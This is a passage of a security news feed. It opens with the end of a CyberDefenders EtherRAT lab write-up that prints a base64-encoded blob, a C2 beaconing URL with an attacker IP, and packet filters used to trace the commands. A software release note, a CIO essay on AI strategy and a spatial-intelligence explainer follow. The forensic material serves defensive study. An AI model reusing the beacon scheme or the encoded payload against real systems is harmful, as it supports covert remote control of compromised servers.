cm5TZHVTbzVPdkVBMEhuSWFHWk5JM1ZDSEF3WjE1dlZYOFRxVTVSa0djTVVzVEhFaS9qaFcva1R3d2RsWUU3bUgyZXJ6cUxRTXBuRkRBTUZUaEJZbWZ0TitjZDIvNjFQdnhUQkh4L3FrMVNFZUxFUGtTVWhacUYzWEg1SkU4SlRUS3owZkZnMThzcXYyS090Nk1lYytWdjQ4ZExjMDNzWnBBdWJUaXFhOGhncmp3OWN6a1JieTdvblVnUUw4ZXFTdXlNeFpQczlKTkdzR2VyMG5kS0pSTVRKRlJXMnNqVW1RY0IrN040TCtuVGw1MDgwaEs3UW9CRXZtYkdremNIR2IzRktycTR6NG9MdU9raUdmTHhBN0NVTW1hYytWbnlKd3czSkFORGdmMUUwbmlHUkwxaWU0NlNKa21KaGJYS3krTkhLb1BzTU1OVCt3L2RkRWFsdU5wajFXMFdGN25tUWI1VUF0aUdRTFUzZGFSVkFjaWRsZzdXMXZBUmg1TlNKRGZGcHVQNGkwdTU0NjU4Tm5YNHZhT3FOZFBTcjdaR2daUU4zeC9VeDExZ3d2cEY4Mmo0SVFlR0tQQ3FVQVZsc2hFeUNiUFpiSURDYUx1cHFZR0w1dGpvVkVjaDFEN3FPcC9yemwwVHlEMHB0OE1VTGtQZWVsR0J1YnA5dG5hZG1MQVowZ3NLZXFPeTlkc3FoTDRudUhzOXgxZmZQK25mZFpMMTcyN1BGbHdGbFVOdS9leVpBYjdZclo5RGplUndvTzRxckRnWTdvUzFPeDl1dVYyRmF0V3JHZXdVSE8raFpEOTFqeWlMRHJscVdQVytjVWhPZmZINFZsd0ZDdWlMbXFyUXFhOG9PVHIxREphMGhTZFA3akoxZkFkZTdWR0diZ3ZLWHZMQ08xeFFDNjJoaTdsZi9tdTVzTlpycE93bGl5NWYzQk4zeVZSV3MwSlFRNWpzTHlRYlRZWEs0K0pxNUZMVnBOcmg4R29rcU04OUFvdjV6UFY1NVVOazZMUE1ldXp4NXdTcDJDY2hlbncrT0pmRFl3STBGMXl0cDkwcmRyU1dCWHlwcXd4eGsyc2pDVkVPNHVxUWtZZ3ByRmlxdGZLL3czYlVlN3hxQWttaXVZaXVZUFA5YmJlU09tQkRRSUVCQURjTVUwVWVsR0pOTG1DZzRtUUNJZkpmVHBBZEJWWkhFMHQ5bmRhWjJpcDZkKzlrY3hxVXNSckY2UGpHYXdzNC9EUlhObGl3MVV3dFdqa1hhQnk0WS9EcVZ5Z29DZk1UU05Zc29McVZOWjZoQWNEbnBMSGpVbWhPdytxbm5aOCtUZ282aXlQYVJ2MS8xcFdZSVdQVEVra0NLNmtuM1UvZi9qOWhsYlJvYnM5RmY3UEYxb1ZwSTRreTY1V1lrdi90Y0FhRFErUFptUlhxU0J0cVcwUEJaSVltNGg5R0dRbVl1RlVlUndqaHlBK0IzZ2ZkUFhLV3kvNHBjNzd4SWJaMzJUZlBPMUZMZ09PSWlIL2JXYTZoMktDVElzNTFydlpIUjBXT0xWVTBLT2FnSVFBdWpCN1h2dnFDSjcvRmk2VDQwNkM1SUx5ejEwUTdmRitla2ROb3FQbmt4NGwzS1p0TENYV1RqM3dOSDJRNHBhUGpzYlBZQ0RZQlJMK0N4TkFHcmxpdGlQVWNPWHc4MDJEWEprbWE4RTlWMXVLbkw2WWJ1SVhHc2Y1U1JNZ212a0RIQi9scFdybE1pL2d3ZmVaYlVqT2ZLclppZzROMHF5bW9QSHFRWmtDWnUwUG1nMy9ISzd2a1RxMnlWUjQyTE5ybWpJRVNJcDZUSTNqcy95SU56KzhCaFpaaGJ2WTQ4dzdjZU1NRDhVR1RFWmR6WStVcnF2N1pGY0N2SkwwYm9FbVRVVXUrNmU3TmpCdU9wMDBZNnRyOXQzYnRZeHVDTlZQdS9RVGV4NHRISU51WVE4dHhhbit2V0MxRjFkQXhsSHFvS29qWHR4VkErSGcxQjk0R0NWWTAxVTBRa2FNbFYwcVg1aCtqTTFLNGFzQXJpTEhEa0szaFRMSmMxRzgwSkFMOVA1cWdmRjZaQ0NESFZ6NnBpZjNQR2s4cG10WTBBbXI3bC8zOW44RExISFJOSHgrOCtUcHJMTGFTNlNFRys1QnZMRnNoejFPYUFTWkp0RnNWWnVLcVlIRVBhbHlwcVl4Z2xQaFlQR1V5SDA4Vmp6SmdVREQrS3lWeEplTndjSXNCdWRDMUkyYjJtbWdPTzNsVlJtbDh2bVlaM2NZeGNYKzc1L01YanpZZTJob1NkZTNad3A0T3lwdEdxRU5vMkZzc3JyYUJVeG5kV1BMc3FMUGZFY1U3K2E1VWNWNzltTjlENXdydzRIVzJVVHJ6b0FUV2JtUjFSM3R4WVNJVWNnRC81SExrTWEzVWh4aDdBQWhZUlRmV0FoRTdZaVQ5TUVVTTlSN01VUnJ4clJrdWdUZXhOY1FCdXE3VE94S1dWclpMcUdHN29jajFkbWQ3V3cyMkFxaW5sZTdZcGpqb1E0TVhGT2VIWThrbmtJTnAzajlwaXJ3MXBMT2VIN0hlcUJKNmkxRmV2V0VFYUo0bHJlRmFmZ3R3S0R6dnJlYUc1QXBpYk1NMndkYytmWUdrRmNSOWhzaDFJWFhsMjE3NFNtU0JRaXoyQWZtZW82Ly91THVPcFNpS1lFWm1Wc0NwaGlGVHdMeGJWMVlBdXlsVU1xUFYxWkFrajlwcUowK2xXMW9ycUd4eUFZOTlMb3dLaUpleGJ3aGo2WXVHTVFlRGNsdU5SbitrU0RGMWlhRlJQVW9ST0d0Sk1tM3EvZWlMc2lNKzNzQU8vUDhLeVlNVW9YRDFXRDEvY0NPdDI1bFIwcEp4RXpVV05EcVJyMmw0TnYwRXZRVkYrbm4xSlYzUlpuSUNjRmtwd2VsZlhDVWtFR3VneW0rQUR0TnBJSWRaTncrTjFqQ3VERzRUaSs4Vy9kYmU4RytHNVZoaUpLVXhTNGlnSUFlcXk0U3E5UVU4emU1NFA0VlhnUHpvM3htOFJUQkd6enNTcUdMd1dVOFhOdGVPSFVmcEJaZ0VjakxaY2piMFNzRmhtR0JTQ042VjJuenBnS3FSUy9Sb0tiMVZyVXhSNTZYdkc1bGNNL3VrSThFcHBSSk42Y3ZFRTZQbW5vMEdsTzdCL2hKdWxHc1Y2cU9QNFVWYXY4VElTNzFhWTdIQnZJbjkrdllPcjVyb2RTZ0MwcE1PZitvQkdMbXpsTHRuZ1E4aWZwOHVFZHBBZGRQTGd2L0N3Nk5KL0UyQ3FkT0YzVVYvQkpIeWI1a0dtTk5WS2luOHdzWTRjbzJzVzFvcmNSZWRCOENpcE1MYkxNMzlWVXpXK1V4QWJWbmlYNFN1OHJZOTA5NzF3Zy83c2xPL01sUUJlcHUvWkZYRUYzL3VVN2FVM250WG5wMUhyNVJFMGdhc29EWjl0ZjZJMTNDMm1zdWVkUWtpa2ZmT05MWFJwdTRHZHpRTWRqejlxcnE1VVRMZ2pjODYvNlZYQi9GUTR0USttZUNEUTd5NEw4ditQTG9QV1Z4QjdKb3hLY1B5dlk4QlRlUHp5MnJ1clhBamxVUTBpeURaRzVTQmNkT2hYQ3RDbHc1OWpmRFVrRS9PNTRBczFzcGRYa2UzVU5xZWNydlI0ZC81WmcxaXIzSzFFUXlxTkJRbmJKRU51NGx1dHorTjJBM0dlaDhPaEpGckRNeVQ5d09HN21hSDkrQzZWV3FOelBzNTVHdzdUajVtVGlSNURDbDNKTEhDUzA2TkJYdE81eGx6cWJaSlBQZjZLUnJnalJYUEc5NDlWR3FWck5HYldZenRNMlpGVyt4YjM2ZXJ0M1N6N01aWFVjMTRuemdRaEpEK3lYTXFVbUFGOUUvL090QW56cGxXWDRuWWdLTjI1aUY0bW1PWEpjeWMyU1FsVlVqQlYrUWtVNEhXOU9yZmdHeXRTekcyS3ZHMEM3bVpkLzNGK3p5blZ2d3o3djlRbE5EK2pQKzlXWGFnOG56WjJTeGlFSXVoTXVsL1MxWWRFbDNlbTcrY09sTnFiamNYNXJZcFEzZGpDVmw4dEFYbnJZZkxYYzYvQjB1UWlGVUZHRkxuekMyYXF4WVFiSDQzeTFlc2IveVhQM3FwZ3BtLzhsQmYzYXNvQ2Y4OU9aaTZ1b3grL2tMQWNacU91VEpNY0cxc0txMUFRbWgvSGZhSk45UXBDb2lLcXd0aG5pUDlIeG1wdFhuU2d2WFl4YTVIRU1XYmlVVXc9PQ0K&amp;ieol=CRLF"><strong><em>Link</em></strong></a>), we can determine that It generates a fake-looking URL, which is used for Beaconing:</p><pre>https://&lt;C2_DOMAIN&gt;/api/&lt;RANDOM&gt;/&lt;BOT_ID&gt;/&lt;RANDOM&gt;.&lt;EXT&gt;?&lt;PARAM&gt;=&lt;BOT_ID&gt;<br><br><br>https://63.176.62.199:443/api/&lt;RANDOM&gt;/4ebfbc8aedf60511/&lt;RANDOM&gt;.&lt;EXT&gt;?&lt;PARAM&gt;=4ebfbc8aedf60511</pre><p>So, by searching with this query: http.request.method==GET and ip.src==172.31.44.238 and ip.dst==63.176.62.199, we can see this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zchnVE3ywWnlgaYkZc_hfg.png"></figure><p>All commands by the C2 Beaconing server (with some jitter intervals)</p><p>SO, we can determine the command by following the TLS Stream for each packet, (the command will be seen in the GETresponse packet) like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yY1gdzl-NMzhBQR2DgNueg.png"></figure><p>or another way, with searching for the POSTrequests, from the web-server to the C2 server with query: http.request.method==POST and ip.src==172.31.44.238 and ip.dst==63.176.62.199</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Eh2_E054JqvFSIOisp6UAA.png"></figure><p>and get the precious commands “<em>whoami</em>” with the timestamp:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*acqR2Vl9mFm5SMsTbirT4g.png"></figure><blockquote>2026–02–10 18:40</blockquote><blockquote><strong><em>Q18: </em></strong><em>After establishing access, the attacker closed the door behind them so no one could get in the way they did.<br>What </em><strong><em>Next.js</em></strong><em> version was installed to patch the vulnerability?</em></blockquote><p>investigating all commands by this amazing query:</p><p>http.request.method==POST and ip.src==63.180.69.24 and http.request.uri <br>contains "/login" and http.content_length&gt;339</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MnvPO6KMhyIt7QftYSbe3g.png"></figure><p>we now have all the 8 executed commands, this one is the one we need</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IuLehjV-QTRSsfIV5U5I2g.png"></figure><p>so by investigating each packet (Follow TLS) we can find this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bqBDSeH9JRM7jcQlsrKyEA.png"></figure><blockquote>15.3.9</blockquote><blockquote><strong><em>Q19: </em></strong><em>Based on the observed IOCs and TTPs,<br>which nation-state is most likely behind this activity?</em></blockquote><p>from the CVE number (CVE-2025–55182), we identified that it’s origin from North Korea (<strong>DPRK</strong>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*veWl3yO0BkPGVY53w1pV4w.png"></figure><blockquote>DPRK</blockquote><h4>Thanks For Reading, Hope you enjoyed❤️</h4><h4>Keep in touch with me via: <a href="https://linktr.ee/Prankster99">https://linktr.ee/Prankster99</a></h4><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=e7aecaf51b7a" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/callmeonthechain-etherrat-lab-writeup-cyberdefenders-e7aecaf51b7a">CallMeOnTheChain — EtherRAT Lab Writeup [CyberDefenders]</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Release v0.52.0-nightly.20260718.gacae7124b]]></title>
<description><![CDATA[What's Changed

feat(caretaker-triage): implement LLM triage orchestrator and container build by @chadd28 in #28345
refactor(cli): align macOS permissive Seatbelt profiles with deny-default model by @ompatel-aiml in #28424
fix(core): mitigate infinite ReAct loops and prompt injection loops by @am...]]></description>
<link>https://tsecurity.de/de/3677322/downloads/release-v0520-nightly20260718gacae7124b/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677322/downloads/release-v0520-nightly20260718gacae7124b/</guid>
<pubDate>Sat, 18 Jul 2026 03:46:24 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>feat(caretaker-triage): implement LLM triage orchestrator and container build by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chadd28/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chadd28">@chadd28</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4850788084" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28345" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28345/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28345">#28345</a></li>
<li>refactor(cli): align macOS permissive Seatbelt profiles with deny-default model by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ompatel-aiml/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ompatel-aiml">@ompatel-aiml</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4905648856" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28424" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28424/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28424">#28424</a></li>
<li>fix(core): mitigate infinite ReAct loops and prompt injection loops by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amelidev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amelidev">@amelidev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4913591703" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28429" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28429/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28429">#28429</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/google-gemini/gemini-cli/compare/v0.52.0-nightly.20260716.g3ff5ba20f...v0.52.0-nightly.20260718.gacae7124b"><tt>v0.52.0-nightly.20260716.g3ff5ba20f...v0.52.0-nightly.20260718.gacae7124b</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why technology leaders are losing the AI conversation to the people who report to them]]></title>
<description><![CDATA[I keep seeing a version of the same scene. A CEO has a question about AI. It is a real question, the kind that will shape where the company spends the next two years. The CEO does not bring it to the CIO. They bring it to a data leader two levels down, or to a vendor who presented at a conference...]]></description>
<link>https://tsecurity.de/de/3675833/it-nachrichten/why-technology-leaders-are-losing-the-ai-conversation-to-the-people-who-report-to-them/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675833/it-nachrichten/why-technology-leaders-are-losing-the-ai-conversation-to-the-people-who-report-to-them/</guid>
<pubDate>Fri, 17 Jul 2026 13:03:31 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">I keep seeing a version of the same scene. A CEO has a question about AI. It is a real question, the kind that will shape where the company spends the next two years. The CEO does not bring it to the CIO. They bring it to a data leader two levels down, or to a vendor who presented at a conference, or to an AI specialist a board member recommended. The CIO finds out the strategy is forming when a slide shows up that they did not build. By then, the direction is already half-set, and the CIO is being asked to react to it rather than shape it.</p>



<p class="wp-block-paragraph">I want to be precise about what is happening, because it is easy to misread. The CIO has not been removed from anything. Title intact, budget intact, seat at the table intact. What has changed is quieter. On one of the most consequential technology conversations the company will have this decade, the CIO is being routed around. The work still flows through them eventually. The thinking no longer starts with them.</p>



<p class="wp-block-paragraph">I have watched this happen to capable people who would have given the CEO a better answer than the person who was asked. That is what makes it worth naming. This is not a competence gap. It is a positioning gap, and positioning gaps close in the wrong direction if you ignore them long enough.</p>



<h2 class="wp-block-heading">How the routing actually starts</h2>



<p class="wp-block-paragraph">The routing does not begin with a decision to exclude anyone. It begins with a CEO who is anxious about AI and looking for someone who sounds certain. AI is moving fast enough that executives feel the pressure to have a point of view before they have earned one. That pressure usually arrives secondhand, from a board member or a peer on the golf course describing what is working at their company. So the CEO goes looking for someone who will confirm the answer they already want to hear, and they keep going back to whoever gives it to them.</p>



<p class="wp-block-paragraph">Here is where many technology leaders lose the thread. For years, the safe posture in the CIO seat was measured caution. You raised the risks, you flagged the integration cost, you asked who owns the data and what the compliance exposure looks like. That posture built credibility in an era when the failure mode was moving too fast on technology nobody understood. With AI, the same posture reads as drag. A CEO who is being told by three vendors that “the future is already here” does not want to hear why they should slow down and be cautious. They hear caution as losing the race, and they go find a point of view somewhere else.</p>



<p class="wp-block-paragraph">The data leaders, vendors and specialists who get the call are not necessarily more capable. They are more available with a confident answer. A vendor’s whole job is to arrive with conviction. A data scientist who has shipped one impressive model carries more apparent authority on AI, in that moment, than a CIO who runs the entire estate but talks about AI the way they talk about every other risk. The CEO is not weighing depth against depth. They are weighing the person who said yes against the person who said it depends.</p>



<p class="wp-block-paragraph">Once that pattern sets, it compounds. The CEO who got a satisfying answer from the data leader goes back to the data leader. The vendor who shaped the first conversation gets invited into the second. Each loop the CIO is not in makes the next one easier to run without them. The org chart still says the CIO owns technology strategy. The actual conversation has relocated.</p>



<h2 class="wp-block-heading">What it costs before anyone notices</h2>



<p class="wp-block-paragraph">The cost shows up late, which is exactly why it is dangerous. For a while nothing looks broken. The CIO is still delivering. The AI initiatives are still landing on their plate to execute. The damage is happening upstream, in the room where the bets get made, and the CIO is not in that room.</p>



<p class="wp-block-paragraph">I have seen what arrives downstream when the strategy was set without the person who has to run it. A model gets championed that the data cannot actually support. A vendor commitment gets made that locks the company into an architecture the CIO would have flagged in the first meeting. An agent gets deployed inside a business unit, with executive blessing, and the CIO inherits accountability for it months later without ever having shaped how it was governed. The recent IBM finding that <a href="https://www.cio.com/article/4182288/cios-are-being-held-accountable-for-ai-they-dont-fully-control-ibm-study-finds.html">CIOs are increasingly held accountable for AI they do not fully control</a> is the visible end of this. The invisible front end is the conversation the CIO was routed around, the one where the accountability got created in the first place.</p>



<p class="wp-block-paragraph">What I find most corrosive is what it does to the CIO’s standing over time. Every initiative the CIO executes but did not shape reinforces a story about what the CIO is for. They become the person who runs the technology other people decided on. That is a fine description of an order taker and a poor description of a strategic leader, and CEOs do not promote, fund, or defend order takers when budgets tighten. The routing-around does not just cost the company a worse AI strategy. It quietly recasts the CIO as the implementer of everyone else’s thinking, and that recasting is hard to reverse once the executive team has internalized it.</p>



<h2 class="wp-block-heading">What the leaders who stayed in the conversation did</h2>



<p class="wp-block-paragraph">The technology leaders I have watched hold their position on AI did one thing first. They stopped leading with caution and started leading with a point of view. Not a reckless one. A real, defensible position on where AI creates value in their specific business and where it does not, delivered with the same conviction the vendors bring, before the CEO went looking elsewhere for it. They made themselves the person with the clearest answer, which is the role the routing-around was filling with someone else.</p>



<p class="wp-block-paragraph">That requires giving up a posture that felt safe for a long time. The CIOs who made the shift accepted that on AI, being right and cautious is worth less than being early and directional. They formed a view ahead of being asked. They walked into the CEO’s office with where we should place our AI bets and why, rather than waiting to be handed someone else’s bets to pressure-test. The difference is whether you are the author of the strategy or its editor, and CEOs route around editors.</p>



<p class="wp-block-paragraph">They also changed how they talk about risk. Instead of presenting risk as the reason to slow down, they folded it into the recommendation. The data is not ready for that use case, so here is the use case where it is ready, and here is what we do in parallel to unlock the first one. That framing keeps the CIO inside the conversation as the person making AI happen responsibly, rather than the person standing outside it explaining why it is hard. Same expertise, opposite effect on whether the CEO keeps coming back.</p>



<p class="wp-block-paragraph">None of this is about pushing the data leaders and specialists out. The strongest CIOs I know pulled those people closer and brought them into the room under their own framing, so that when the CEO wanted the specialist’s input, it arrived through the CIO rather than around them. They made themselves the orchestrator of the AI conversation instead of one of its casualties.</p>



<p class="wp-block-paragraph">If you are a technology leader right now, the question worth sitting with is not whether you are good at AI. You probably are. The question is whether the most important AI conversations in your company are still starting with you, or whether you have quietly become the person they get handed to after the thinking is done. That answer is set in rooms you may not be in, and the only way to find out is to ask who your CEO called the last three times AI came up. If the answer is not you, the role is still yours. The conversation has already started leaving.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[A look at spatial intelligence and world models]]></title>
<description><![CDATA[It’s been several years since generative AI and large language models (LLMs) took the world by storm. LLMs surpassed earlier natural-language systems at generating text, while diffusion models enabled generating images, music, and videos.



These generative AI models work well in the digital wor...]]></description>
<link>https://tsecurity.de/de/3672181/ai-nachrichten/a-look-at-spatial-intelligence-and-world-models/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672181/ai-nachrichten/a-look-at-spatial-intelligence-and-world-models/</guid>
<pubDate>Thu, 16 Jul 2026 03:48:06 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">It’s been several years since <a href="https://www.infoworld.com/article/2338115/what-is-generative-ai-artificial-intelligence-that-creates.html" data-type="link" data-id="https://www.infoworld.com/article/2338115/what-is-generative-ai-artificial-intelligence-that-creates.html">generative AI</a> and <a href="https://www.understandingai.org/p/large-language-models-explained-with">large language models</a> (LLMs) took the world by storm. LLMs surpassed earlier natural-language systems at generating text, while <a href="https://www.technologyreview.com/2025/09/12/1123562/how-do-ai-models-generate-videos/">diffusion models</a> enabled generating images, music, and videos.</p>



<p class="wp-block-paragraph">These generative AI models work well in the digital world, but on their own, they have limited capabilities to comprehend the three-dimensional physical world and other spaces. This includes the objects occupying an area, how they relate to each other, tracking movement, and answering complex questions requiring an understanding of dimensions, distances, motion, and collisions.</p>



<p class="wp-block-paragraph">Spatial intelligence is an AI capability that allows models to reason about three-dimensional space. These models can generate 3D scenes of the world and other spaces. This content can then be displayed through traditional renderers, game engines, or AR/VR systems that use <a href="https://builtin.com/hardware/spatial-computing">spatial computing</a> techniques. But it’s the spatial intelligence model’s ability to connect natural language with 3D models that has the most applications in robotics, manufacturing, construction, and other physical environments.   </p>



<p class="wp-block-paragraph">Dr. Fei-Fei Li, often called the <a href="https://profiles.stanford.edu/fei-fei-li">godmother of AI</a>, published a manifesto on <a href="https://drfeifei.substack.com/p/from-words-to-worlds-spatial-intelligence">how spatial intelligence is AI’s next frontier</a>, contrasting it with LLMs. “While current state-of-the-art AI can excel at reading, writing, research, and pattern recognition in data, these same models bear fundamental limitations when representing or interacting with the physical world,” wrote Dr. Li. “Our view of the world is holistic—not just what we’re looking at, but how everything relates spatially, what it means, and why it matters. Understanding this through imagination, reasoning, creation, and interaction—not just descriptions—is the power of spatial intelligence.”</p>



<p class="wp-block-paragraph">The concept of spatial intelligence isn’t new and was described in Howard Gardner’s book, <em><a href="https://www.amazon.com/Frames-Mind-Theory-Multiple-Intelligences-ebook/dp/B004MYFV0E/">Frames of Mind</a></em>, in 1983. Recent breakthroughs, including the launch of <a href="https://marble.worldlabs.ai/">World Labs’ Marble</a> and its <a href="https://www.worldlabs.ai/blog/funding-2026">$1 billion funding round</a>, and competing approaches from <a href="https://deepmind.google/models/genie/">Google’s Genie 3</a> and <a href="https://www.nvidia.com/en-us/ai/cosmos/">Nvidia Cosmos</a>, should put spatial intelligence and world models on more R&amp;D road maps.</p>



<h2 class="wp-block-heading">What are spatial intelligence models?</h2>



<p class="wp-block-paragraph">It’s important to <a href="https://drive.starcio.com/2026/02/ai-literacy-a-leadership-guide/">develop AI literacy</a> and understand the terminology and concepts related to the physical world and 3D AI technologies: </p>



<ul class="wp-block-list">
<li>Spatial intelligence encompasses specialized approaches such as <a href="https://science.nasa.gov/science-research/ai-foundation-model-in-orbit/">geospatial models</a> for mapping the physical world and <a href="https://link.springer.com/article/10.1007/s44290-025-00342-5">building information modeling</a> (BIM) for modeling physical structures. It also extends to generative 3D, robotics, and physical reasoning applications.</li>



<li>World models are a class of <a href="https://www.ibm.com/think/topics/neural-networks">neural network architectures</a> and are currently a prominent approach to building spatial intelligence.</li>



<li><a href="https://www.infoworld.com/article/3693092/7-steps-to-take-before-developing-digital-twins.html">Digital twins</a> are live, virtual replicas of physical assets that combine 3D models with real-time sensor data. Spatial intelligence, an emerging capability of digital twins, adds natural-language prompting, generative scenario exploration, and physics-aware reasoning.</li>



<li><a href="https://treeview.studio/blog/top-examples-of-spatial-computing">Spatial computing</a> refers to digital content anchored in and interacting with physical space, sensed and rendered in three dimensions and delivered through AR/VR and mixed-reality systems.</li>
</ul>



<p class="wp-block-paragraph">“Spatial intelligence models go beyond pixels to understand the 3D structure of the world—how objects are positioned, how they move, and how they interact,” says David Fattal, founder and CTO at <a href="https://immersity.ai/">Leia</a>. “This enables applications like more realistic video generation, spatial computing interfaces, and AI systems that can reason about physical environments. As real-world 3D data becomes more available, these models will become foundational to the next generation of visual AI.”</p>



<h2 class="wp-block-heading">Monitoring the built environment</h2>



<p class="wp-block-paragraph">To better understand spatial intelligence, let’s consider physical infrastructure such as bridges and buildings. The American Society of Civil Engineers <a href="https://www.enr.com/articles/62214-infrastructure-gains-in-new-asce-report-cardbut-progress-hinges-on-post-2026-funds">estimates a $9.1 trillion investment</a> is needed from 2024 through 2033 to achieve a state of good repair. When maintenance and monitoring lag, it can lead to major failures such as <a href="https://www.ntsb.gov/news/press-releases/Pages/NR20240221.aspx">the 2022 collapse of the Fern Hollow Bridge in Pittsburgh</a>.</p>



<p class="wp-block-paragraph">Spatial intelligence and the development of digital twins may help identify issues earlier and prioritize where investments are needed. “Spatial intelligence models serve as the 4D digital blueprints for our built environment, allowing us to visualize and predict the complex interactions between aging assets and the shifting ground beneath them,” says Patrick Cozzi, chief platform officer at <a href="https://www.bentley.com/">Bentley Systems</a>. “By synthesizing disparate geospatial data into a living digital twin, these models provide the foresight necessary to mitigate the hidden risks of structural fatigue and subsurface instability.”</p>



<p class="wp-block-paragraph">There’s a significant challenge in <a href="https://www.mdpi.com/1424-8220/21/13/4336">bridge health monitoring</a> and transitioning from manual, infrequent structural inspections to leveraging sensors, digital twins, and spatial intelligence. Cozzi adds, “This integration of continuous field data moves beyond static documentation, empowering agencies to evolve from reactive repairs to proactive, resilient asset management that safeguards the long-term integrity of our most critical public systems.”</p>



<h2 class="wp-block-heading">Avoiding collisions</h2>



<p class="wp-block-paragraph">Bridges are largely static, but the real world is increasingly being occupied by autonomous systems such as self-driving cars, robots, and drones. And where there are moving systems, there is a risk of collisions.</p>



<p class="wp-block-paragraph">“Spatial intelligence models are AI systems that reason about the physical world by combining vision, sensor data, and contextual cues to understand space, motion, and object relationships,” says Sudeep George, CTO at <a href="https://imerit.net/">iMerit</a>. “The value of spatial intelligence models lies not just in perceiving an environment, but in enabling machines to act within it safely and in real time. That is especially important in robotics and autonomous systems, where decisions must be made in complex, multimodal, fast-changing settings.”</p>



<p class="wp-block-paragraph">To see one example, this tutorial for <a href="https://developer.nvidia.com/blog/simulate-robotic-environments-faster-with-nvidia-isaac-sim-and-world-labs-marble">simulating robotic environments</a> combines <a href="https://developer.nvidia.com/isaac/sim?size=n_6_n&amp;sort-field=featured&amp;sort-direction=desc">Nvidia Isaac Sim</a>, an open source robotics reference framework, with spatial intelligence in Marble from World Labs. </p>



<p class="wp-block-paragraph">Today’s collision detection systems, such as <a href="https://arxiv.org/html/2508.20892v1">those used in autonomous vehicles</a>, typically rely on modules for sensing, perception, planning, and control. Spatial intelligence models may offer improvements by assessing the collision risks of unidentified objects or by tracking objects that move out of sensor view. For example, <a href="https://waymo.com/blog/2026/02/the-waymo-world-model-a-new-frontier-for-autonomous-driving-simulation/">Waymo’s World Model</a>, built on Genie 3, is a simulator that generates complex weather conditions and other critical safety events.</p>



<p class="wp-block-paragraph">For an out-of-this-world example, James Urquhart, field CTO and technology evangelist at <a href="https://www.kamiwaza.ai/">Kamiwaza</a>, has delivered several examples of spatial intelligence applications, including one for satellite collision detection and conflict analysis. Urquhart says, “Models that specialize in these types of data sets, as well as the physics and geography of the real world, enable faster and more accurate decision-making for tasks that depend on them.”</p>



<h2 class="wp-block-heading">Applying spatial intelligence</h2>



<p class="wp-block-paragraph">Recent spatial intelligence announcements include creating 3D worlds from image or text prompts with <a href="https://www.worldlabs.ai/blog/marble-world-model">Marble</a> and simulating water physics, lighting, weather, and animal behavior with <a href="https://wavespeed.ai/blog/posts/google-deepmind-genie-3-world-model-2026/">Genie 3</a>. But difficulties remain in bringing spatial intelligence to physical-world use cases.</p>



<p class="wp-block-paragraph">“Spatial intelligence and world models are laying the groundwork for future AI agents that will be able to interact in and with our physical world,” says Jason Corso, cofounder and chief scientist at <a href="https://voxel51.com/">Voxel51</a>. “These models are significantly more challenging to develop and test, largely because the data underlying their development is complex, and it’s hard to handle all of the combinatorics involved in the physical world.”</p>



